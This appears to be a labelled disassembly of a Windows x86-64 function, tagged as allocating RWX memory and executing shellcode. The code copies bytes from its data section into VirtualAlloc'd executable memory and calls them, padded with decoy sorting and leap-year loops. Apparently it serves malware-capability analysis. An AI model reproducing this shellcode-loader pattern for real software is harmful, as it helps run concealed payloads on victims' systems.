Function at 0x14001159b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x14001a6d0
push rbp
push rdi
sub rsp, 0x2a8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x72
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002a3d8]
xor rax, rbp
mov qword [rbp + 0x278], rax
lea rcx, [0x140032036]
call fcn.14001182f
call fcn.140011749
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x321
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 8], rax
mov dword [rbp + 0x28], 1
mov dword [rbp + 0x2c], 2
mov dword [rbp + 0x30], 3
mov dword [rbp + 0x34], 4
mov dword [rbp + 0x38], 0xc
mov dword [rbp + 0x3c], 0x20
mov dword [rbp + 0x40], 0xb
mov dword [rbp + 0x44], 0x22
mov dword [rbp + 0x48], 0x2b
lea rax, [rbp + 0x4c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rbp + 0x64], 0xa
mov dword [rbp + 0x84], 0
jmp 0x14001a79f
mov eax, dword [rbp + 0x84]
inc eax
mov dword [rbp + 0x84], eax
mov eax, dword [rbp + 0x64]
dec eax
cmp dword [rbp + 0x84], eax
jge 0x14001a845
mov dword [rbp + 0xa4], 0
jmp 0x14001a7ca
mov eax, dword [rbp + 0xa4]
inc eax
mov dword [rbp + 0xa4], eax
mov eax, dword [rbp + 0x84]
mov ecx, dword [rbp + 0x64]
sub ecx, eax
mov eax, ecx
dec eax
cmp dword [rbp + 0xa4], eax
jge 0x14001a840
movsxd rax, dword [rbp + 0xa4]
mov ecx, dword [rbp + 0xa4]
inc ecx
movsxd rcx, ecx
mov ecx, dword [rbp + rcx*4 + 0x28]
cmp dword [rbp + rax*4 + 0x28], ecx
jle 0x14001a83b
movsxd rax, dword [rbp + 0xa4]
mov eax, dword [rbp + rax*4 + 0x28]
mov dword [rbp + 0xc4], eax
mov eax, dword [rbp + 0xa4]
inc eax
cdqe
movsxd rcx, dword [rbp + 0xa4]
mov eax, dword [rbp + rax*4 + 0x28]
mov dword [rbp + rcx*4 + 0x28], eax
mov eax, dword [rbp + 0xa4]
inc eax
cdqe
mov ecx, dword [rbp + 0xc4]
mov dword [rbp + rax*4 + 0x28], ecx
jmp 0x14001a7bc
jmp 0x14001a791
cmp qword [rbp + 8], 0
jne 0x14001a879
lea rdx, str.Memory_allocation_failed_
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400110ff
lea rdx, [0x140011055]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x14001ab2b
mov r8d, 0x321
lea rdx, section..data
mov rcx, qword [rbp + 8]
call fcn.1400113e3
mov rax, qword [rbp + 8]
mov qword [rbp + 0xe8], rax
call qword [rbp + 0xe8]
mov dword [rbp + 0x104], 0xa5ce15ce
xor eax, eax
cmp eax, 1
je 0x14001a901
cmp dword [rbp + 0x104], 0
jge 0x14001a8bc
jmp 0x14001a8aa
mov eax, dword [rbp + 0x104]
cdq
mov ecx, 0x190
idiv ecx
mov eax, edx
test eax, eax
je 0x14001a8f9
mov eax, dword [rbp + 0x104]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x14001a8fd
mov eax, dword [rbp + 0x104]
cdq
mov ecx, 0x64
idiv ecx
mov eax, edx
test eax, eax
je 0x14001a8fd
jmp 0x14001a8aa
jmp 0x14001a8aa
mov eax, dword [rbp + 0x64]
cdq
sub eax, edx
sar eax, 1
mov dword [rbp + 0x124], eax
jmp 0x14001a922
mov eax, dword [rbp + 0x124]
cdq
sub eax, edx
sar eax, 1
mov dword [rbp + 0x124], eax
cmp dword [rbp + 0x124], 0
jle 0x14001aa0c
mov eax, dword [rbp + 0x124]
mov dword [rbp + 0x84], eax
jmp 0x14001a94b
mov eax, dword [rbp + 0x84]
inc eax
mov dword [rbp + 0x84], eax
mov eax, dword [rbp + 0x64]
cmp dword [rbp + 0x84], eax
jge 0x14001aa07
mov eax, dword [rbp + 0x84]
mov dword [rbp + 0xa4], eax
jmp 0x14001a97e
mov eax, dword [rbp + 0x124]
mov ecx, dword [rbp + 0xa4]
sub ecx, eax
mov eax, ecx
mov dword [rbp + 0xa4], eax
mov eax, dword [rbp + 0x124]
cmp dword [rbp + 0xa4], eax
jl 0x14001aa02
mov eax, dword [rbp + 0x124]
mov ecx, dword [rbp + 0xa4]
sub ecx, eax
mov eax, ecx
cdqe
movsxd rcx, dword [rbp + 0xa4]
mov ecx, dword [rbp + rcx*4 + 0x28]
cmp dword [rbp + rax*4 + 0x28], ecx
jle 0x14001aa02
movsxd rax, dword [rbp + 0xa4]
mov eax, dword [rbp + rax*4 + 0x28]
mov dword [rbp + 0xc4], eax
mov eax, dword [rbp + 0x124]
mov ecx, dword [rbp + 0xa4]
sub ecx, eax
mov eax, ecx
cdqe
movsxd rcx, dword [rbp + 0xa4]
mov eax, dword [rbp + rax*4 + 0x28]
mov dword [rbp + rcx*4 + 0x28], eax
mov eax, dword [rbp + 0x124]
mov ecx, dword [rbp + 0xa4]
sub ecx, eax
mov eax, ecx
cdqe
mov ecx, dword [rbp + 0xc4]
mov dword [rbp + rax*4 + 0x28], ecx
jmp 0x14001a968
jmp 0x14001a93d
jmp 0x14001a911
mov eax, dword [rbp + 0x64]
cdq
sub eax, edx
sar eax, 1
mov dword [rbp + 0x144], eax
jmp 0x14001aa2d
mov eax, dword [rbp + 0x144]
cdq
sub eax, edx
sar eax, 1
mov dword [rbp + 0x144], eax
cmp dword [rbp + 0x144], 0
jle 0x14001ab17
mov eax, dword [rbp + 0x144]
mov dword [rbp + 0x164], eax
jmp 0x14001aa56
mov eax, dword [rbp + 0x164]
inc eax
mov dword [rbp + 0x164], eax
mov eax, dword [rbp + 0x64]
cmp dword [rbp + 0x164], eax
jge 0x14001ab12
mov eax, dword [rbp + 0x164]
mov dword [rbp + 0x184], eax
jmp 0x14001aa89
mov eax, dword [rbp + 0x144]
mov ecx, dword [rbp + 0x184]
sub ecx, eax
mov eax, ecx
mov dword [rbp + 0x184], eax
mov eax, dword [rbp + 0x144]
cmp dword [rbp + 0x184], eax
jl 0x14001ab0d
mov eax, dword [rbp + 0x144]
mov ecx, dword [rbp + 0x184]
sub ecx, eax
mov eax, ecx
cdqe
movsxd rcx, dword [rbp + 0x184]
mov ecx, dword [rbp + rcx*4 + 0x28]
cmp dword [rbp + rax*4 + 0x28], ecx
jle 0x14001ab0d
movsxd rax, dword [rbp + 0x184]
mov eax, dword [rbp + rax*4 + 0x28]
mov dword [rbp + 0x1a4], eax
mov eax, dword [rbp + 0x144]
mov ecx, dword [rbp + 0x184]
sub ecx, eax
mov eax, ecx
cdqe
movsxd rcx, dword [rbp + 0x184]
mov eax, dword [rbp + rax*4 + 0x28]
mov dword [rbp + rcx*4 + 0x28], eax
mov eax, dword [rbp + 0x144]
mov ecx, dword [rbp + 0x184]
sub ecx, eax
mov eax, ecx
cdqe
mov ecx, dword [rbp + 0x1a4]
mov dword [rbp + rax*4 + 0x28], ecx
jmp 0x14001aa73
jmp 0x14001aa48
jmp 0x14001aa1c
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140025830]
call fcn.1400116c7
mov rax, rdi
mov rcx, qword [rbp + 0x278]
xor rcx, rbp
call fcn.1400113de
lea rsp, [rbp + 0x288]
pop rdi
pop rbp
ret